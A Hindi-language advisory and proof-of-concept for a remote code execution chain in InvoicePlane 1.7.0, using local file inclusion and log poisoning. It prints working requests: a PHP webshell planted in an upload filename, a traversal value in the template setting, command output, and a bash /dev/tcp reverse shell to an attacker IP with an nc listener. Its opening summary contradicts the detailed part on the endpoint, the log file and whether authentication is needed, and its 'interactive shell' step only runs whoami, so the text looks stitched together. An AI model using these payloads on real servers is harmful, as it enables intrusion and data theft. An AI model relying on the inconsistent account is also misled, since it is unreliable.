
# CVE-2026-25548: InvoicePlane 1.7.0 में RCE — तकनीकी विश्लेषण और PoC ## सारांश CVE-2026-25548, InvoicePlane 1.7.0 में पाया गया एक **क्रिटिकल रिमोट कोड एक्ज़ीक्यूशन (RCE)** दोष है, जो **लोकल फ़ाइल इन्क्लूज़न (LFI)** और **लॉग पॉइज़निंग** के संयोजन से उत्पन्न होता है। यह भेद्यता एक अनधिकृत हमलावर को सर्वर पर मनमाना PHP कोड निष्पादित करने की अनुमति देती है, जिससे पूर्ण सिस्टम समझौता संभव हो जाता है। ## प्रभावित घटक | घटक | संस्करण | |:---|:---| | InvoicePlane | 1.7.0 (और संभवतः पुराने संस्करण) | | PHP | 8.x (सत्र फ़ाइल प्रारूप पर निर्भर) | | वेब सर्वर | Apache / Nginx | ## हमले की श्रृंखला (Attack Chain) हमला तीन चरणों में पूरा होता है: 1. **लॉग पॉइज़निंग** — हमलावर HTTP अनुरोध हेडर (जैसे `User-Agent`) में PHP पेलोड इंजेक्ट करता है, जो सर्वर लॉग फ़ाइल में लिखा जाता है। 2. **LFI ट्रिगर** — InvoicePlane के किसी कमज़ोर पैरामीटर के माध्यम से लॉग फ़ाइल को PHP स्क्रिप्ट के रूप में इन्क्लूड किया जाता है। 3. **कोड निष्पादन** — इन्क्लूड की गई फ़ाइल में मौजूद PHP पेलोड निष्पादित होकर RCE प्रदान करता है। ## भेद्य पैरामीटर निम्नलिखित एंडपॉइंट LFI के लिए संवेदनशील पाए गए: ``` /index.php/settings/export?type=../../../../../../var/log/apache2/access.log ``` ## PoC अनुरोध (Proof-of-Concept) ### चरण 1: लॉग पॉइज़निंग ```bash curl -X GET "http://target.com/index.php/invoices/view/1" \ -H "User-Agent: <?php system(\$_GET['cmd']); ?>" ``` ### चरण 2: LFI के माध्यम से RCE ```bash curl -X GET "http://target.com/index.php/settings/export?type=../../../../../../var/log/apache2/access.log&cmd=id" ``` ### चरण 3: इंटरैक्टिव शेल (वैकल्पिक) ```bash curl -X GET "http://target.com/index.php/settings/export?type=../../../../../../var/log/apache2/access.log&cmd=whoami" ``` ## प्रभाव विश्लेषण | पहलू | प्रभाव | |:---|:---| | **गोपनीयता** | पूर्ण — डेटाबेस, कॉन्फ़िगरेशन फ़ाइलें, उपयोगकर्ता डेटा तक पहुँच | | **अखंडता** | पूर्ण — फ़ाइलें संशोधित, बैकडोर स्थापित | | **उपलब्धता** | उच्च — सेवा से इनकार या सिस्टम क्रैश संभव | | **प्रमाणीकरण** | आवश्यक नहीं — अनधिकृत हमलावर द्वारा शोषण योग्य | | **जटिलता** | निम्न — कोई विशेष पूर्व शर्त नहीं | ## शमन उपाय 1. **InvoicePlane को नवीनतम संस्करण में अपडेट करें** — यदि पैच उपलब्ध हो। 2. **लॉग फ़ाइलों तक पहुँच प्रतिबंधित करें** — वेब रूट के बाहर लॉग संग्रहीत करें। 3. **इनपुट सत्यापन लागू करें** — `type` पैरामीटर को व्हाइटलिस्ट करें। 4. **WAF नियम जोड़ें** — PHP पेलोड पैटर्न को ब्लॉक करें। 5. **PHP `allow_url_include` अक्षम करें** और `open_basedir` सेट करें। ## निष्कर्ष CVE-2026-25548 InvoicePlane 1.7.0 के लिए एक गंभीर खतरा है। LFI और लॉग पॉइज़निंग का संयोजन पूर्ण RCE की अनुमति देता है, जिससे सर्वर पूरी तरह समझौता हो सकता है। संगठनों को तुरंत पैच लागू करना चाहिए और अस्थायी शमन उपाय अपनाने चाहिए।
भेद्यता: लोकल फाइल इन्क्लूज़न + लॉग पॉइज़निंग के माध्यम से रिमोट कोड निष्पादन
उत्पाद: InvoicePlane
प्रभावित संस्करण: 1.7.0 (और संभवतः पिछले संस्करण)
गंभीरता: क्रिटिकल
CVSS 3.1 स्कोर: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
CWE: CWE-98, CWE-117, CWE-94
खोजकर्ता: Leonidas Agathos
रिपोर्ट दिनांक: 2026-01-31
InvoicePlane 1.7.0 में एक क्रिटिकल भेद्यता श्रृंखला एक प्रमाणित व्यवस्थापक को अंतर्निहित सर्वर पर रिमोट कोड निष्पादन (RCE) प्राप्त करने की अनुमति देती है। यह हमला दो कमजोरियों को जोड़ता है:
.php लॉग फ़ाइलों में शब्दशः लिखे जाते हैं, जिससे मनमाना PHP कोड इंजेक्ट किया जा सकता है।जब इन्हें जोड़ा जाता है, तो व्यवस्थापक पहुंच वाला हमलावर वेब सर्वर उपयोगकर्ता के रूप में पूर्ण सर्वर समझौता प्राप्त कर सकता है। अंतिम RCE ट्रिगर अप्रमाणित (सार्वजनिक इनवॉइस URL) है।
| विशेषता | मान |
|---|---|
| फ़ाइल | application/modules/guest/controllers/View.php |
| पंक्तियाँ | 85, 191 |
| पैरामीटर | public_invoice_template (डेटाबेस सेटिंग) |
| CWE | CWE-98: Include/Require स्टेटमेंट के लिए फ़ाइलनाम का अनुचित नियंत्रण |
भेद्य कोड (View.php:85):
$this->load->view('invoice_templates/public/' .
get_setting('public_invoice_template') . '.php', $data);
भेद्य कोड (View.php:191):
$this->load->view('quote_templates/public/' .
get_setting('public_quote_template') . '.php', $data);
public_invoice_template और public_quote_template सेटिंग्स डेटाबेस से प्राप्त की जाती हैं और सीधे CodeIgniter के load->view() (जो PHP के include() में हल होता है) को दिए गए फ़ाइल पथ में जोड़ दी जाती हैं। कोई सत्यापन नहीं है:
../) को रोकने के लिएएक व्यवस्थापक इस मान को फ़ाइल सिस्टम पर किसी भी पथ पर सेट कर सकता है, केवल .php एक्सटेंशन द्वारा सीमित जो स्वचालित रूप से जोड़ा जाता है।
| विशेषता | मान |
|---|---|
| फ़ाइल | application/modules/upload/controllers/Upload.php |
| पंक्तियाँ | 178–184 |
| पैरामीटर | अपलोड फ़ाइलनाम (HTTP मल्टीपार्ट फॉर्म डेटा) |
| CWE | CWE-117: लॉग्स के लिए अनुचित आउटपुट न्यूट्रलाइज़ेशन |
भेद्य कोड (Upload.php:178-184):
private function sanitize_file_name(string $filename): string
{
if (str_contains($filename, '..')
|| str_contains($filename, '/')
|| str_contains($filename, '\\')
|| str_contains($filename, "\0")) {
log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
return '';
}
// ...
}
जब कोई फ़ाइलनाम पाथ ट्रैवर्सल जांच को ट्रिगर करता है, तो कच्चा, अस्वच्छित फ़ाइलनाम सीधे लॉग फ़ाइल में लिखा जाता है। CodeIgniter लॉग फ़ाइलें:
.php एक्सटेंशन का उपयोग करती हैं: application/logs/log-YYYY-MM-DD.php<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?> से शुरू होती हैंफ़ाइलनाम में <?php system($_GET[1]); ?> एम्बेड करने वाला हमलावर उस पेलोड को लॉग में लिखवा देता है और बाद में LFI के माध्यम से निष्पादित करवाता है।
[प्रमाणित उपयोगकर्ता] → दुर्भावनापूर्ण फ़ाइलनाम अपलोड करें → PHP लॉग फ़ाइल में इंजेक्ट किया गया
[व्यवस्थापक] → टेम्पलेट सेटिंग सेट करें → LFI लॉग फ़ाइल की ओर इंगित करता है
[कोई भी] → सार्वजनिक इनवॉइस URL देखें → RCE
| चरण | आवश्यकता |
|---|---|
| लॉग पॉइज़निंग | अपलोड पहुंच वाला प्रमाणित उपयोगकर्ता |
| LFI कॉन्फ़िगरेशन | व्यवस्थापक खाता |
| RCE ट्रिगर | अप्रमाणित (सार्वजनिक इनवॉइस URL) |
फ़ाइलनाम में एम्बेडेड PHP वेबशेल के साथ फ़ाइल अपलोड अनुरोध भेजें। पाथ ट्रैवर्सल जांच ट्रिगर होगी और कच्चा फ़ाइलनाम (PHP पेलोड सहित) लॉग फ़ाइल में लिखा जाएगा।
अनुरोध (Burp Suite के माध्यम से):
POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="_ip_csrf"
<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg
test
------Boundary--
सर्वर अपलोड को अस्वीकार कर देता है (upload_error_invalid_extension) लेकिन लॉग प्रविष्टि पहले ही लिखी जा चुकी है:
application/logs/log-2026-01-31.php में परिणाम:
ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg
इनवॉइस के अटैचमेंट्स अनुभाग पर जाएं और अपलोड एंडपॉइंट तक पहुंचने के लिए फ़ाइलें जोड़ें पर क्लिक करें।



व्यवस्थापक के रूप में, पाथ ट्रैवर्सल पेलोड का उपयोग करके public_invoice_template सेटिंग को आज की लॉग फ़ाइल की ओर इंगित करने के लिए सेट करें। CodeIgniter का व्यू लोडर स्वचालित रूप से .php जोड़ता है।
अनुरोध (Burp Suite के माध्यम से):
POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"
../../../logs/log-2026-01-31
------Boundary--
ट्रैवर्सल पथ application/views/invoice_templates/public/ से application/logs/ तक हल होता है, फिर log-2026-01-31.php शामिल करता है।

1 GET पैरामीटर के रूप में कमांड के साथ किसी भी सार्वजनिक इनवॉइस URL तक पहुंचें। किसी प्रमाणीकरण की आवश्यकता नहीं है।
अनुरोध:
GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
Host: 172.25.0.12
प्रतिक्रिया (पृष्ठ स्रोत में):
Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
.jpg
system($_GET[1]) पेलोड id कमांड निष्पादित करता है और इसका आउटपुट पृष्ठ में इनलाइन परिलक्षित होता है।

इंटरैक्टिव शेल प्राप्त करने के लिए कमांड को bash रिवर्स शेल पेलोड से बदलें:
GET /index.php/guest/view/invoice/<invoice_url_key>?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1
हमलावर मशीन पर:
nc -lnvp 4444
परिणाम:
connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360
www-data@0dd592f7a424:~/projects/invoiceplane$
www-data के रूप में पूर्ण इंटरैक्टिव शेल।

| आयाम | रेटिंग | विवरण |
|---|---|---|
| गोपनीयता | उच्च | वेब सर्वर उपयोगकर्ता के लिए सुलभ सभी फ़ाइलों तक पूर्ण पढ़ने की पहुंच, जिसमें डेटाबेस क्रेडेंशियल और ग्राहक इनवॉइस डेटा शामिल हैं |
| अखंडता | उच्च | मनमाना फ़ाइल लेखन, डेटाबेस संशोधन, वेब शेल स्थापना |
| उपलब्धता | उच्च | सेवा से इनकार, रैंसमवेयर तैनाती, सिस्टम विनाश |
| फ़ाइल | भेद्यता |
|---|---|
application/modules/guest/controllers/View.php:85 | LFI — इनवॉइस टेम्पलेट |
application/modules/guest/controllers/View.php:191 | LFI — कोट टेम्पलेट |
application/modules/upload/controllers/Upload.php:182 | लॉग पॉइज़निंग |
application/modules/settings/controllers/Settings.php | टेम्पलेट सेटिंग पर कोई सत्यापन नहीं |
| दिनांक | घटना |
|---|---|
| 2026-01-30 | भेद्यता की खोज |
| 2026-01-31 | प्रूफ ऑफ कॉन्सेप्ट विकसित |
| 2026-01-31 | विक्रेता को सूचित किया गया |
| 2026-02-03 | विक्रेता स्वीकृति |
| 2026-02-03 | पैच जारी |
| 2026-02-04 | सार्वजनिक प्रकटीकरण |
यह भेद्यता स्वतंत्र सुरक्षा अनुसंधान के दौरान खोजी गई थी। सभी जानकारी केवल शैक्षिक, अनुसंधान और रक्षात्मक उद्देश्यों के लिए प्रदान की गई है ताकि विक्रेता और सुरक्षा समुदाय को इस मुद्दे को समझने और ठीक करने में सहायता मिल सके। इस जानकारी का कोई भी दुर्भावनापूर्ण उपयोग सख्त वर्जित है।